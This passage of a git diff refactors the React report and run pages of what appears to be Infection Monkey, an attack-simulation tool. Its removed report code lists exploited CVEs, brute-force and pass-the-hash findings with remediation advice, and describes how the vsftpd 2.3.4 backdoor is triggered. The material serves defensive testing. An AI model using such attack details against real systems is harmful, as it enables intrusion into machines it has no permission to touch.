getReportFromServer(res) { + if (res['completed_steps']['run_monkey']) { + this.authFetch('/api/report/security') + .then(res => res.json()) + .then(res => { + this.setState({ + securityReport: res + }); + }); + this.authFetch('/api/attack/report') + .then(res => res.json()) + .then(res => { + this.setState({ + attackReport: res + }); + }); + this.getZeroTrustReportFromServer().then((ztReport) => { + this.setState({zeroTrustReport: ztReport}) + }); + } + } + + getZeroTrustReportFromServer = async () => { + let ztReport = {findings: {}, principles: {}, pillars: {}}; + await this.authFetch('/api/report/zero_trust/findings') + .then(res => res.json()) + .then(res => { + ztReport.findings = res; + }); + await this.authFetch('/api/report/zero_trust/principles') + .then(res => res.json()) + .then(res => { + ztReport.principles = res; + }); + await this.authFetch('/api/report/zero_trust/pillars') + .then(res => res.json()) + .then(res => { + ztReport.pillars = res; + }); + return ztReport + }; + componentWillUnmount() { - clearInterval(this.interval); - } - - render() { - let content; - - if (this.state.runStarted) { - content = this.generateReportContent(); - } else { - content = <MustRunMonkeyWarning/>; - } - - return ( - <Col xs={12} lg={10}> - <h1 className="page-title no-print">4. Security Report</h1> - <div style={{'fontSize': '1.2em'}}> - {content} - </div> - </Col> - ); - } - - stillLoadingDataFromServer() { - return Object.keys(this.state.report).length === 0; + clearInterval(this.state.ztReportRefreshInterval); } updateMonkeysRunning = () => { @@ -103,877 +94,67 @@ class ReportPageComponent extends AuthComponent { }); }; - updateMapFromServer = () => { - this.authFetch('/api/netmap') - .then(res => res.json()) - .then(res => { - res.edges.forEach(edge => { - edge.color = {'color': edgeGroupToColor(edge.group)}; - }); - this.setState({graph: res}); - this.props.onStatusChange(); - }); + componentDidMount() { + const ztReportRefreshInterval = setInterval(this.updateZeroTrustReportFromServer, 8000); + this.setState({ztReportRefreshInterval: ztReportRefreshInterval}); + this.updateMonkeysRunning().then(res => this.getReportFromServer(res)); + } + + setSelectedSection = (key) => { + this.setState({ + selectedSection: key + }); }; - getReportFromServer(res) { - if (res['completed_steps']['run_monkey']) { - this.authFetch('/api/report/security') - .then(res => res.json()) - .then(res => { - this.setState({ - report: res - }); - }); + renderNav = () => { + return ( + <Route render={({history}) => ( + <Nav bsStyle='tabs' justified + activeKey={this.state.selectedSection} + onSelect={(key) => {this.setSelectedSection(key); history.push(key)}} + className={'report-nav'}> + {this.state.sections.map(section => this.renderNavButton(section))} + </Nav>)}/>) + }; + + renderNavButton = (section) => { + return ( + <NavItem key={section.key} + eventKey={section.key} + onSelect={() => {}}> + {section.title} + </NavItem>)}; + + getReportContent() { + switch(this.state.selectedSection){ + case 'security': + return (<SecurityReport report={this.state.securityReport}/>); + case 'attack': + return (<AttackReport report={this.state.attackReport}/>); + case 'zeroTrust': + return (<ZeroTrustReport report={this.state.zeroTrustReport}/>); } } - generateReportContent() { + render() { let content; - if (this.stillLoadingDataFromServer()) { - content = <ReportLoader loading={true}/>; + if (this.state.runStarted) { + content = this.getReportContent(); } else { - content = - <div> - {this.generateReportOverviewSection()} - {this.generateReportFindingsSection()} - {this.generateReportRecommendationsSection()} - {this.generateReportGlanceSection()} - {this.generateAttackSection()} - {this.generateReportFooter()} - </div>; + content = <MustRunMonkeyWarning/>; } - return ( - <Fragment> - <div style={{marginBottom: '20px'}}> - <PrintReportButton onClick={() => {print();}} /> - </div> - <div className="report-page"> - <ReportHeader report_type={ReportTypes.security}/> - <hr/> + <Col xs={12} lg={12}> + <h1 className='page-title no-print'>4. Security Reports</h1> + {this.renderNav()} + <MonkeysStillAliveWarning allMonkeysAreDead={this.state.allMonkeysAreDead}/> + <div style={{'fontSize': '1.2em'}}> {content} </div> - <div style={{marginTop: '20px'}}> - <PrintReportButton onClick={() => {print();}} /> - </div> - </Fragment> + </Col> ); } - - generateReportOverviewSection() { - return ( - <div id="overview"> - <h2> - Overview - </h2> - <SecurityIssuesGlance issuesFound={this.state.report.glance.exploited.length > 0}/> - <MonkeysStillAliveWarning allMonkeysAreDead={this.state.allMonkeysAreDead}/> - { - this.state.report.glance.exploited.length > 0 ? - '' - : - <p className="alert alert-info"> - <i className="glyphicon glyphicon-info-sign" style={{'marginRight': '5px'}}/> - To improve the monkey's detection rates, try adding users and passwords and enable the "Local - network - scan" config value under <b>Basic - Network</b>. - </p> - } - <p> - The first monkey run was started on <span - className="label label-info">{this.state.report.overview.monkey_start_time}</span>. After <span - className="label label-info">{this.state.report.overview.monkey_duration}</span>, all monkeys finished - propagation attempts. - </p> - <p> - The monkey started propagating from the following machines where it was manually installed: - <ul> - {this.state.report.overview.manual_monkeys.map(x => <li>{x}</li>)} - </ul> - </p> - <p> - The monkeys were run with the following configuration: - </p> - { - this.state.report.overview.config_users.length > 0 ? - <p> - Usernames used for brute-forcing: - <ul> - {this.state.report.overview.config_users.map(x => <li>{x}</li>)} - </ul> - Passwords used for brute-forcing: - <ul> - {this.state.report.overview.config_passwords.map(x => <li>{x.substr(0, 3) + '******'}</li>)} - </ul> - </p> - : - <p> - Brute forcing uses stolen credentials only. No credentials were supplied during Monkey’s - configuration. - </p> - } - { - this.state.report.overview.config_exploits.length > 0 ? - ( - this.state.report.overview.config_exploits[0] === 'default' ? - '' - : - <p> - The Monkey uses the following exploit methods: - <ul> - {this.state.report.overview.config_exploits.map(x => <li>{x}</li>)} - </ul> - </p> - ) - : - <p> - No exploits are used by the Monkey. - </p> - } - { - this.state.report.overview.config_ips.length > 0 ? - <p> - The Monkey scans the following IPs: - <ul> - {this.state.report.overview.config_ips.map(x => <li>{x}</li>)} - </ul> - </p> - : - '' - } - { - this.state.report.overview.config_scan ? - '' - : - <p> - Note: Monkeys were configured to avoid scanning of the local network. - </p> - } - </div> - ); - } - - generateReportFindingsSection() { - return ( - <div id="findings"> - <h3> - Security Findings - </h3> - <div> - <h3> - Immediate Threats - </h3> - { - this.state.report.overview.issues.filter(function (x) { - return x === true; - }).length > 0 ? - <div> - During this simulated attack the Monkey uncovered <span - className="label label-warning"> - {this.state.report.overview.issues.filter(function (x) { - return x === true; - }).length} threats</span>: - <ul> - {this.state.report.overview.issues[this.Issue.STOLEN_SSH_KEYS] ? - <li>Stolen SSH keys are used to exploit other machines.</li> : null } - {this.state.report.overview.issues[this.Issue.STOLEN_CREDS] ? - <li>Stolen credentials are used to exploit other machines.</li> : null} - {this.state.report.overview.issues[this.Issue.ELASTIC] ? - <li>Elasticsearch servers are vulnerable to <a - href="https://www.cvedetails.com/cve/cve-2015-1427">CVE-2015-1427</a>. - </li> : null} - {this.state.report.overview.issues[this.Issue.VSFTPD] ? - <li>VSFTPD is vulnerable to <a - href="https://www.rapid7.com/db/modules/exploit/unix/ftp/vsftpd_234_backdoor">CVE-2011-2523</a>. - </li> : null} - {this.state.report.overview.issues[this.Issue.SAMBACRY] ? - <li>Samba servers are vulnerable to ‘SambaCry’ (<a - href="https://www.samba.org/samba/security/CVE-2017-7494.html" - >CVE-2017-7494</a>).</li> : null} - {this.state.report.overview.issues[this.Issue.SHELLSHOCK] ? - <li>Machines are vulnerable to ‘Shellshock’ (<a - href="https://www.cvedetails.com/cve/CVE-2014-6271">CVE-2014-6271</a>). - </li> : null} - {this.state.report.overview.issues[this.Issue.CONFICKER] ? - <li>Machines are vulnerable to ‘Conficker’ (<a - href="https://docs.microsoft.com/en-us/security-updates/SecurityBulletins/2008/ms08-067" - >MS08-067</a>).</li> : null} - {this.state.report.overview.issues[this.Issue.WEAK_PASSWORD] ? - <li>Machines are accessible using passwords supplied by the user during the Monkey’s - configuration.</li> : null} - {this.state.report.overview.issues[this.Issue.AZURE] ? - <li>Azure machines expose plaintext passwords. (<a - href="https://www.guardicore.com/2018/03/recovering-plaintext-passwords-azure/" - >More info</a>)</li> : null} - {this.state.report.overview.issues[this.Issue.STRUTS2] ? - <li>Struts2 servers are vulnerable to remote code execution. (<a - href="https://cwiki.apache.org/confluence/display/WW/S2-045"> - CVE-2017-5638</a>)</li> : null } - {this.state.report.overview.issues[this.Issue.WEBLOGIC] ? - <li>Oracle WebLogic servers are susceptible to a remote code execution vulnerability.</li> : null } - {this.state.report.overview.issues[this.Issue.HADOOP] ? - <li>Hadoop/Yarn servers are vulnerable to remote code execution.</li> : null } - {this.state.report.overview.issues[this.Issue.PTH_CRIT_SERVICES_ACCESS] ? - <li>Mimikatz found login credentials of a user who has admin access to a server defined as critical.</li>: null } - {this.state.report.overview.issues[this.Issue.MSSQL] ? - <li>MS-SQL servers are vulnerable to remote code execution via xp_cmdshell command.</li> : null } - </ul> - </div> - : - <div> - During this simulated attack the Monkey uncovered <span - className="label label-success">0 threats</span>. - </div> - } - </div> - <div> - <h3> - Potential Security Issues - </h3> - { - this.state.report.overview.warnings.filter(function (x) { - return x === true; - }).length > 0 ? - <div> - The Monkey uncovered the following possible set of issues: - <ul> - {this.state.report.overview.warnings[this.Warning.CROSS_SEGMENT] ? - <li>Weak segmentation - Machines from different segments are able to - communicate.</li> : null} - {this.state.report.overview.warnings[this.Warning.TUNNEL] ? - <li>Weak segmentation - Machines were able to communicate over unused ports.</li> : null} - {this.state.report.overview.warnings[this.Warning.SHARED_LOCAL_ADMIN] ? - <li>Shared local administrator account - Different machines have the same account as a local administrator.</li> : null} - {this.state.report.overview.warnings[this.Warning.SHARED_PASSWORDS] ? - <li>Multiple users have the same password</li> : null} - </ul> - </div> - : - <div> - The Monkey did not find any issues. - </div> - } - </div> - { this.state.report.overview.cross_segment_issues.length > 0 ? - <div> - <h3> - Segmentation Issues - </h3> - <div> - The Monkey uncovered the following set of segmentation issues: - <ul> - {this.state.report.overview.cross_segment_issues.map(x => this.generateCrossSegmentIssue(x))} - </ul> - </div> - </div> - : - '' - } - </div> - ); - } - - generateReportRecommendationsSection() { - return ( - <div id="recommendations"> - {/* Checks if there are any domain issues. If there are more then one: render the title. Otherwise, - * don't render it (since the issues themselves will be empty. */} - {Object.keys(this.state.report.recommendations.domain_issues).length !== 0 ? - <h3>Domain related recommendations</h3> : null } - <div> - {this.generateIssues(this.state.report.recommendations.domain_issues)} - </div> - {/* Checks if there are any issues. If there are more then one: render the title. Otherwise, - * don't render it (since the issues themselves will be empty. */} - {Object.keys(this.state.report.recommendations.issues).length !== 0 ? - <h3>Machine related recommendations</h3> : null } - <div> - {this.generateIssues(this.state.report.recommendations.issues)} - </div> - </div> - ); - } - - - generateReportGlanceSection() { - let exploitPercentage = - (100 * this.state.report.glance.exploited.length) / this.state.report.glance.scanned.length; - return ( - <div id="glance"> - <h3> - The Network from the Monkey's Eyes - </h3> - <div> - <p> - The Monkey discovered <span - className="label label-warning">{this.state.report.glance.scanned.length}</span> machines and - successfully breached <span - className="label label-danger">{this.state.report.glance.exploited.length}</span> of them. - </p> - <div className="text-center" style={{margin: '10px'}}> - <Line style={{width: '300px', marginRight: '5px'}} percent={exploitPercentage} strokeWidth="4" - trailWidth="4" - strokeColor="#d9534f" trailColor="#f0ad4e"/> - <b>{Math.round(exploitPercentage)}% of scanned machines exploited</b> - </div> - </div> - <p> - From the attacker's point of view, the network looks like this: - </p> - <div className="map-legend"> - <b>Legend: </b> - <span>Exploit <i className="fa fa-lg fa-minus" style={{color: '#cc0200'}}/></span> - <b style={{color: '#aeaeae'}}> | </b> - <span>Scan <i className="fa fa-lg fa-minus" style={{color: '#ff9900'}}/></span> - <b style={{color: '#aeaeae'}}> | </b> - <span>Tunnel <i className="fa fa-lg fa-minus" style={{color: '#0158aa'}}/></span> - <b style={{color: '#aeaeae'}}> | </b> - <span>Island Communication <i className="fa fa-lg fa-minus" style={{color: '#a9aaa9'}}/></span> - </div> - <div style={{position: 'relative', height: '80vh'}}> - <ReactiveGraph graph={this.state.graph} options={options}/> - </div> - <div style={{marginBottom: '20px'}}> - <BreachedServers data={this.state.report.glance.exploited}/> - </div> - <div style={{marginBottom: '20px'}}> - <PostBreach data={this.state.report.glance.scanned}/> - </div> - <div style={{marginBottom: '20px'}}> - <ScannedServers data={this.state.report.glance.scanned}/> - </div> - <div style={{position: 'relative', height: '80vh'}}> - {this.generateReportPthMap()} - </div> - <div style={{marginBottom: '20px'}}> - <StolenPasswords data={this.state.report.glance.stolen_creds.concat(this.state.report.glance.ssh_keys)}/> - </div> - <div> - <StrongUsers data = {this.state.report.glance.strong_users} /> - </div> - </div> - ); - } - - generateReportPthMap() { - return ( - <div id="pth"> - <h3> - Credentials Map - </h3> - <p> - This map visualizes possible attack paths through the network using credential compromise. Paths represent lateral movement opportunities by attackers. - </p> - <div className="map-legend"> - <b>Legend: </b> - <span>Access credentials <i className="fa fa-lg fa-minus" style={{color: '#0158aa'}}/></span> <b style={{color: '#aeaeae'}}> | </b> - </div> - <div> - <PassTheHashMapPageComponent graph={this.state.report.glance.pth_map} /> - </div> - <br /> - </div> - ); - } - - generateAttackSection() { - return (<div id="attack"> - <h3> - ATT&CK report - </h3> - <p> - This report shows information about ATT&CK techniques used by Infection Monkey. - </p> - <div> - <AttackReport reportData={this.state.report}/> - </div> - <br /> - </div>) - } - - generateReportFooter() { - return ( - <div id="footer" className="text-center" style={{marginTop: '20px'}}> - For questions, suggestions or any other feedback - contact: <a href="mailto://labs@guardicore.com" className="no-print">labs@guardicore.com</a> - <div className="force-print" style={{display: 'none'}}>labs@guardicore.com</div> - <img src={guardicoreLogoImage} alt="GuardiCore" className="center-block" style={{height: '50px'}}/> - </div> - ); - } - - generateInfoBadges(data_array) { - return data_array.map(badge_data => <span className="label label-info" style={{margin: '2px'}}>{badge_data}</span>); - } - - generateCrossSegmentIssue(crossSegmentIssue) { - return <li> - {'Communication possible from ' + crossSegmentIssue['source_subnet'] + ' to ' + crossSegmentIssue['target_subnet']} - <CollapsibleWellComponent> - <ul> - {crossSegmentIssue['issues'].map(x => - x['is_self'] ? - <li> - {'Machine ' + x['hostname'] + ' has both ips: ' + x['source'] + ' and ' + x['target']} - </li> - : - <li> - {'IP ' + x['source'] + ' (' + x['hostname'] + ') connected to IP ' + x['target'] - + ' using the services: ' + Object.keys(x['services']).join(', ')} - </li> - )} - </ul> - </CollapsibleWellComponent> - </li>; - } - - generateShellshockPathListBadges(paths) { - return paths.map(path => <span className="label label-warning" style={{margin: '2px'}}>{path}</span>); - } - - generateSmbPasswordIssue(issue) { - return ( - <li> - Change <span className="label label-success">{issue.username}</span>'s password to a complex one-use password - that is not shared with other computers on the network. - <CollapsibleWellComponent> - The machine <span className="label label-primary">{issue.machine}</span> (<span - className="label label-info" style={{margin: '2px'}}>{issue.ip_address}</span>) is vulnerable to a <span - className="label label-danger">SMB</span> attack. - <br/> - The Monkey authenticated over the SMB protocol with user <span - className="label label-success">{issue.username}</span> and its password. - </CollapsibleWellComponent> - </li> - ); - } - - generateSmbPthIssue(issue) { - return ( - <li> - Change <span className="label label-success">{issue.username}</span>'s password to a complex one-use password - that is not shared with other computers on the network. - <CollapsibleWellComponent> - The machine <span className="label label-primary">{issue.machine}</span> (<span - className="label label-info" style={{margin: '2px'}}>{issue.ip_address}</span>) is vulnerable to a <span - className="label label-danger">SMB</span> attack. - <br/> - The Monkey used a pass-the-hash attack over SMB protocol with user <span - className="label label-success">{issue.username}</span>. - </CollapsibleWellComponent> - </li> - ); - } - - generateWmiPasswordIssue(issue) { - return ( - <li> - Change <span className="label label-success">{issue.username}</span>'s password to a complex one-use password - that is not shared with other computers on the network. - <CollapsibleWellComponent> - The machine <span className="label label-primary">{issue.machine}</span> (<span - className="label label-info" style={{margin: '2px'}}>{issue.ip_address}</span>) is vulnerable to a <span - className="label label-danger">WMI</span> attack. - <br/> - The Monkey authenticated over the WMI protocol with user <span - className="label label-success">{issue.username}</span> and its password. - </CollapsibleWellComponent> - </li> - ); - } - - generateWmiPthIssue(issue) { - return ( - <li> - Change <span className="label label-success">{issue.username}</span>'s password to a complex one-use password - that is not shared with other computers on the network. - <CollapsibleWellComponent> - The machine <span className="label label-primary">{issue.machine}</span> (<span - className="label label-info" style={{margin: '2px'}}>{issue.ip_address}</span>) is vulnerable to a <span - className="label label-danger">WMI</span> attack. - <br/> - The Monkey used a pass-the-hash attack over WMI protocol with user <span - className="label label-success">{issue.username}</span>. - </CollapsibleWellComponent> - </li> - ); - } - - generateSshIssue(issue) { - return ( - <li> - Change <span className="label label-success">{issue.username}</span>'s password to a complex one-use password - that is not shared with other computers on the network. - <CollapsibleWellComponent> - The machine <span className="label label-primary">{issue.machine}</span> (<span - className="label label-info" style={{margin: '2px'}}>{issue.ip_address}</span>) is vulnerable to a <span - className="label label-danger">SSH</span> attack. - <br/> - The Monkey authenticated over the SSH protocol with user <span - className="label label-success">{issue.username}</span> and its password. - </CollapsibleWellComponent> - </li> - ); - } - - generateSshKeysIssue(issue) { - return ( - <li> - Protect <span className="label label-success">{issue.ssh_key}</span> private key with a pass phrase. - <CollapsibleWellComponent> - The machine <span className="label label-primary">{issue.machine}</span> (<span - className="label label-info" style={{margin: '2px'}}>{issue.ip_address}</span>) is vulnerable to a <span - className="label label-danger">SSH</span> attack. - <br/> - The Monkey authenticated over the SSH protocol with private key <span - className="label label-success">{issue.ssh_key}</span>. - </CollapsibleWellComponent> - </li> - ); - } - - - generateSambaCryIssue(issue) { - return ( - <li> - Change <span className="label label-success">{issue.username}</span>'s password to a complex one-use password - that is not shared with other computers on the network. - <br/> - Update your Samba server to 4.4.14 and up, 4.5.10 and up, or 4.6.4 and up. - <CollapsibleWellComponent> - The machine <span className="label label-primary">{issue.machine}</span> (<span - className="label label-info" style={{margin: '2px'}}>{issue.ip_address}</span>) is vulnerable to a <span - className="label label-danger">SambaCry</span> attack. - <br/> - The Monkey authenticated over the SMB protocol with user <span - className="label label-success">{issue.username}</span> and its password, and used the SambaCry - vulnerability. - </CollapsibleWellComponent> - </li> - ); - } - - generateVsftpdBackdoorIssue(issue) { - return ( - <li> - Update your VSFTPD server to the latest version vsftpd-3.0.3. - <CollapsibleWellComponent> - The machine <span className="label label-primary">{issue.machine}</span> (<span - className="label label-info" style={{margin: '2px'}}>{issue.ip_address}</span>) has a backdoor running at port <span - className="label label-danger">6200</span>. - <br/> - The attack was made possible because the VSFTPD server was not patched against CVE-2011-2523. - <br/><br/>In July 2011, it was discovered that vsftpd version 2.3.4 downloadable from the master site had been compromised. - Users logging into a compromised vsftpd-2.3.4 server may issue a ":)" smileyface as the username and gain a command shell on port 6200. - <br/><br/> - The Monkey executed commands by first logging in with ":)" in the username and then sending commands to the backdoor at port 6200. - <br/><br/>Read more about the security issue and remediation <a - href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-2523" - >here</a>. - </CollapsibleWellComponent> - </li> - ); - } - - generateElasticIssue(issue) { - return ( - <li> - Update your Elastic Search server to version 1.4.3 and up. - <CollapsibleWellComponent> - The machine <span className="label label-primary">{issue.machine}</span> (<span - className="label label-info" style={{margin: '2px'}}>{issue.ip_address}</span>) is vulnerable to an <span - className="label label-danger">Elastic Groovy</span> attack. - <br/> - The attack was made possible because the Elastic Search server was not patched against CVE-2015-1427. - </CollapsibleWellComponent> - </li> - ); - } - - generateShellshockIssue(issue) { - return ( - <li> - Update your Bash to a ShellShock-patched version. - <CollapsibleWellComponent> - The machine <span className="label label-primary">{issue.machine}</span> (<span - className="label label-info" style={{margin: '2px'}}>{issue.ip_address}</span>) is vulnerable to a <span - className="label label-danger">ShellShock</span> attack. - <br/> - The attack was made possible because the HTTP server running on TCP port <span - className="label label-info">{issue.port}</span> was vulnerable to a shell injection attack on the - paths: {this.generateShellshockPathListBadges(issue.paths)}. - </CollapsibleWellComponent> - </li> - ); - } - - generateAzureIssue(issue) { - return ( - <li> - Delete VM Access plugin configuration files. - <CollapsibleWellComponent> - Credentials could be stolen from <span - className="label label-primary">{issue.machine}</span> for the following users <span - className="label label-primary">{issue.users}</span>. Read more about the security issue and remediation <a - href="https://www.guardicore.com/2018/03/recovering-plaintext-passwords-azure/" - >here</a>. - </CollapsibleWellComponent> - </li> - ); - } - - generateConfickerIssue(issue) { - return ( - <li> - Install the latest Windows updates or upgrade to a newer operating system. - <CollapsibleWellComponent> - The machine <span className="label label-primary">{issue.machine}</span> (<span - className="label label-info" style={{margin: '2px'}}>{issue.ip_address}</span>) is vulnerable to a <span - className="label label-danger">Conficker</span> attack. - <br/> - The attack was made possible because the target machine used an outdated and unpatched operating system - vulnerable to Conficker. - </CollapsibleWellComponent> - </li> - ); - } - - generateIslandCrossSegmentIssue(issue) { - return ( - <li> - Segment your network and make sure there is no communication between machines from different segments. - <CollapsibleWellComponent> - The network can probably be segmented. A monkey instance on <span - className="label label-primary">{issue.machine}</span> in the - networks {this.generateInfoBadges(issue.networks)} - could directly access the Monkey Island server in the - networks {this.generateInfoBadges(issue.server_networks)}. - </CollapsibleWellComponent> - </li> - ); - } - - generateSharedCredsDomainIssue(issue) { - return ( - <li> - Some domain users are sharing passwords, this should be fixed by changing passwords. - <CollapsibleWellComponent> - These users are sharing access password: - {this.generateInfoBadges(issue.shared_with)}. - </CollapsibleWellComponent> - </li> - ); - } - - generateSharedCredsIssue(issue) { - return ( - <li> - Some users are sharing passwords, this should be fixed by changing passwords. - <CollapsibleWellComponent> - These users are sharing access password: - {this.generateInfoBadges(issue.shared_with)}. - </CollapsibleWellComponent> - </li> - ); - } - - generateSharedLocalAdminsIssue(issue) { - return ( - <li> - Make sure the right administrator accounts are managing the right machines, and that there isn’t an unintentional local admin sharing. - <CollapsibleWellComponent> - Here is a list of machines which the account <span - className="label label-primary">{issue.username}</span> is defined as an administrator: - {this.generateInfoBadges(issue.shared_machines)} - </CollapsibleWellComponent> - </li> - ); - } - - generateStrongUsersOnCritIssue(issue) { - return ( - <li> - This critical machine is open to attacks via strong users with access to it. - <CollapsibleWellComponent> - The services: {this.generateInfoBadges(issue.services)} have been found on the machine - thus classifying it as a critical machine. - These users has access to it: - {this.generateInfoBadges(issue.threatening_users)}. - </CollapsibleWellComponent> - </li> - ); - } - - generateTunnelIssue(issue) { - return ( - <li> - Use micro-segmentation policies to disable communication other than the required. - <CollapsibleWellComponent> - Machines are not locked down at port level. Network tunnel was set up from <span - className="label label-primary">{issue.machine}</span> to <span - className="label label-primary">{issue.dest}</span>. - </CollapsibleWellComponent> - </li> - ); - } - - generateStruts2Issue(issue) { - return ( - <li> - Upgrade Struts2 to version 2.3.32 or 2.5.10.1 or any later versions. - <CollapsibleWellComponent> - Struts2 server at <span className="label label-primary">{issue.machine}</span> (<span - className="label label-info" style={{margin: '2px'}}>{issue.ip_address}</span>) is vulnerable to <span - className="label label-danger">remote code execution</span> attack. - <br/> - The attack was made possible because the server is using an old version of Jakarta based file upload - Multipart parser. For possible work-arounds and more info read <a - href="https://cwiki.apache.org/confluence/display/WW/S2-045" - >here</a>. - </CollapsibleWellComponent> - </li> - ); - } - - generateWebLogicIssue(issue) { - return ( - <li> - Update Oracle WebLogic server to the latest supported version. - <CollapsibleWellComponent> - Oracle WebLogic server at <span className="label label-primary">{issue.machine}</span> (<span - className="label label-info" style={{margin: '2px'}}>{issue.ip_address}</span>) is vulnerable to one of <span - className="label label-danger">remote code execution</span> attacks. - <br/> - The attack was made possible due to one of the following vulnerabilities: - <a href={"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-10271"}> CVE-2017-10271</a> or - <a href={"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-2725"}> CVE-2019-2725</a> - </CollapsibleWellComponent> - </li> - ); - } - - generateHadoopIssue(issue) { - return ( - <li> - Run Hadoop in secure mode (<a href="http://hadoop.apache.org/docs/current/hadoop-project-dist/hadoop-common/SecureMode.html"> - add Kerberos authentication</a>). - <CollapsibleWellComponent> - The Hadoop server at <span className="label label-primary">{issue.machine}</span> (<span - className="label label-info" style={{margin: '2px'}}>{issue.ip_address}</span>) is vulnerable to <span - className="label label-danger">remote code execution</span> attack. - <br/> - The attack was made possible due to default Hadoop/Yarn configuration being insecure. - </CollapsibleWellComponent> - </li> - ); - } - -generateMSSQLIssue(issue) { - return( - <li> - Disable the xp_cmdshell option. - <CollapsibleWellComponent> - The machine <span className="label label-primary">{issue.machine}</span> (<span - className="label label-info" style={{margin: '2px'}}>{issue.ip_address}</span>) is vulnerable to a <span - className="label label-danger">MSSQL exploit attack</span>. - <br/> - The attack was made possible because the target machine used an outdated MSSQL server configuration allowing - the usage of the xp_cmdshell command. To learn more about how to disable this feature, read <a - href="https://docs.microsoft.com/en-us/sql/database-engine/configure-windows/xp-cmdshell-server-configuration-option?view=sql-server-2017"> - Microsoft's documentation. </a> - </CollapsibleWellComponent> - </li> - ); - } - - generateIssue = (issue) => { - let data; - switch (issue.type) { - case 'vsftp': - data = this.generateVsftpdBackdoorIssue(issue); - break; - case 'smb_password': - data = this.generateSmbPasswordIssue(issue); - break; - case 'smb_pth': - data = this.generateSmbPthIssue(issue); - break; - case 'wmi_password': - data = this.generateWmiPasswordIssue(issue); - break; - case 'wmi_pth': - data = this.generateWmiPthIssue(issue); - break; - case 'ssh': - data = this.generateSshIssue(issue); - break; - case 'ssh_key': - data = this.generateSshKeysIssue(issue); - break; - case 'sambacry': - data = this.generateSambaCryIssue(issue); - break; - case 'elastic': - data = this.generateElasticIssue(issue); - break; - case 'shellshock': - data = this.generateShellshockIssue(issue); - break; - case 'conficker': - data = this.generateConfickerIssue(issue); - break; - case 'island_cross_segment': - data = this.generateIslandCrossSegmentIssue(issue); - break; - case 'shared_passwords': - data = this.generateSharedCredsIssue(issue); - break; - case 'shared_passwords_domain': - data = this.generateSharedCredsDomainIssue(issue); - break; - case 'shared_admins_domain': - data = this.generateSharedLocalAdminsIssue(issue); - break; - case 'strong_users_on_crit': - data = this.generateStrongUsersOnCritIssue(issue); - break; - case 'tunnel': - data = this.generateTunnelIssue(issue); - break; - case 'azure_password': - data = this.generateAzureIssue(issue); - break; - case 'struts2': - data = this.generateStruts2Issue(issue); - break; - case 'weblogic': - data = this.generateWebLogicIssue(issue); - break; - case 'hadoop': - data = this.generateHadoopIssue(issue); - break; - case 'mssql': - data = this.generateMSSQLIssue(issue); - break; - } - return data; - }; - - generateIssues = (issues) => { - let issuesDivArray = []; - for (let machine of Object.keys(issues)) { - issuesDivArray.push( - <li> - <h4><b>{machine}</b></h4> - <ol> - {issues[machine].map(this.generateIssue)} - </ol> - </li> - ); - } - return <ul>{issuesDivArray}</ul>; - }; } export default ReportPageComponent; diff --git a/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage.js b/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage.js index 1008199fc..2c07147f7 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage.js @@ -1,13 +1,17 @@ import React from 'react'; -import { css } from '@emotion/core'; +import {css} from '@emotion/core'; import {Button, Col, Well, Nav, NavItem, Collapse} from 'react-bootstrap'; import CopyToClipboard from 'react-copy-to-clipboard'; import GridLoader from 'react-spinners/GridLoader'; -import {Icon} from 'react-fa'; +import { FontAwesomeIcon } from '@fortawesome/react-fontawesome'; +import { faClipboard, faCheck, faSync } from '@fortawesome/free-solid-svg-icons'; + import {Link} from 'react-router-dom'; import AuthComponent from '../AuthComponent'; -import AwsRunTable from "../run-monkey/AwsRunTable"; +import AwsRunTable from '../run-monkey/AwsRunTable'; + +import '../../styles/MonkeyRunPage.scss'; const loading_css_override = css` display: block; @@ -35,7 +39,7 @@ class RunMonkeyPageComponent extends AuthComponent { isLoadingAws: true, isErrorWhileCollectingAwsMachines: false, awsMachineCollectionErrorMsg: '' - }; + }; } componentDidMount() { @@ -48,7 +52,7 @@ class RunMonkeyPageComponent extends AuthComponent { this.authFetch('/api/local-monkey') .then(res => res.json()) - .then(res =>{ + .then(res => { if (res['is_running']) { this.setState({runningOnIslandState: 'running'}); } else { @@ -75,7 +79,7 @@ class RunMonkeyPageComponent extends AuthComponent { fetchAwsInfo() { return this.authFetch('/api/remote-monkey?action=list_aws') .then(res => res.json()) - .then(res =>{ + .then(res => { let is_aws = res['is_aws']; if (is_aws) { // On AWS! @@ -83,7 +87,12 @@ class RunMonkeyPageComponent extends AuthComponent { let is_error_while_collecting_aws_machines = (res['error'] != null); if (is_error_while_collecting_aws_machines) { // There was an error. Finish loading, and display error message. - this.setState({isOnAws: true, isErrorWhileCollectingAwsMachines: true, awsMachineCollectionErrorMsg: res['error'], isLoadingAws: false}); + this.setState({ + isOnAws: true, + isErrorWhileCollectingAwsMachines: true, + awsMachineCollectionErrorMsg: res['error'], + isLoadingAws: false + }); } else { // No error! Finish loading and display machines for user this.setState({isOnAws: true, awsMachines: res['instances'], isLoadingAws: false}); @@ -138,11 +147,11 @@ class RunMonkeyPageComponent extends AuthComponent { cmdText = RunMonkeyPageComponent.generateWindowsCmd(this.state.selectedIp, is32Bit); } return ( - <Well key={'cmdDiv'+this.state.selectedIp} className="well-sm" style={{'margin': '0.5em'}}> + <Well key={'cmdDiv' + this.state.selectedIp} className="well-sm" style={{'margin': '0.5em'}}> <div style={{'overflow': 'auto', 'padding': '0.5em'}}> <CopyToClipboard text={cmdText} className="pull-right btn-sm"> <Button style={{margin: '-0.5em'}} title="Copy to Clipboard"> - <Icon name="clipboard"/> + <FontAwesomeIcon icon={faClipboard}/> </Button> </CopyToClipboard> <code>{cmdText}</code> @@ -165,9 +174,9 @@ class RunMonkeyPageComponent extends AuthComponent { static renderIconByState(state) { if (state === 'running') { - return <Icon name="check" className="text-success" style={{'marginLeft': '5px'}}/> + return (<FontAwesomeIcon icon={faCheck} className="text-success" style={{'marginLeft': '5px'}}/>) } else if (state === 'installing') { - return <Icon name="refresh" className="text-success" style={{'marginLeft': '5px'}}/> + return (<FontAwesomeIcon icon={faSync} className="text-success" style={{'marginLeft': '5px'}}/>) } else { return ''; } @@ -219,6 +228,7 @@ class RunMonkeyPageComponent extends AuthComponent { }); }); }; + fetchConfig() { return 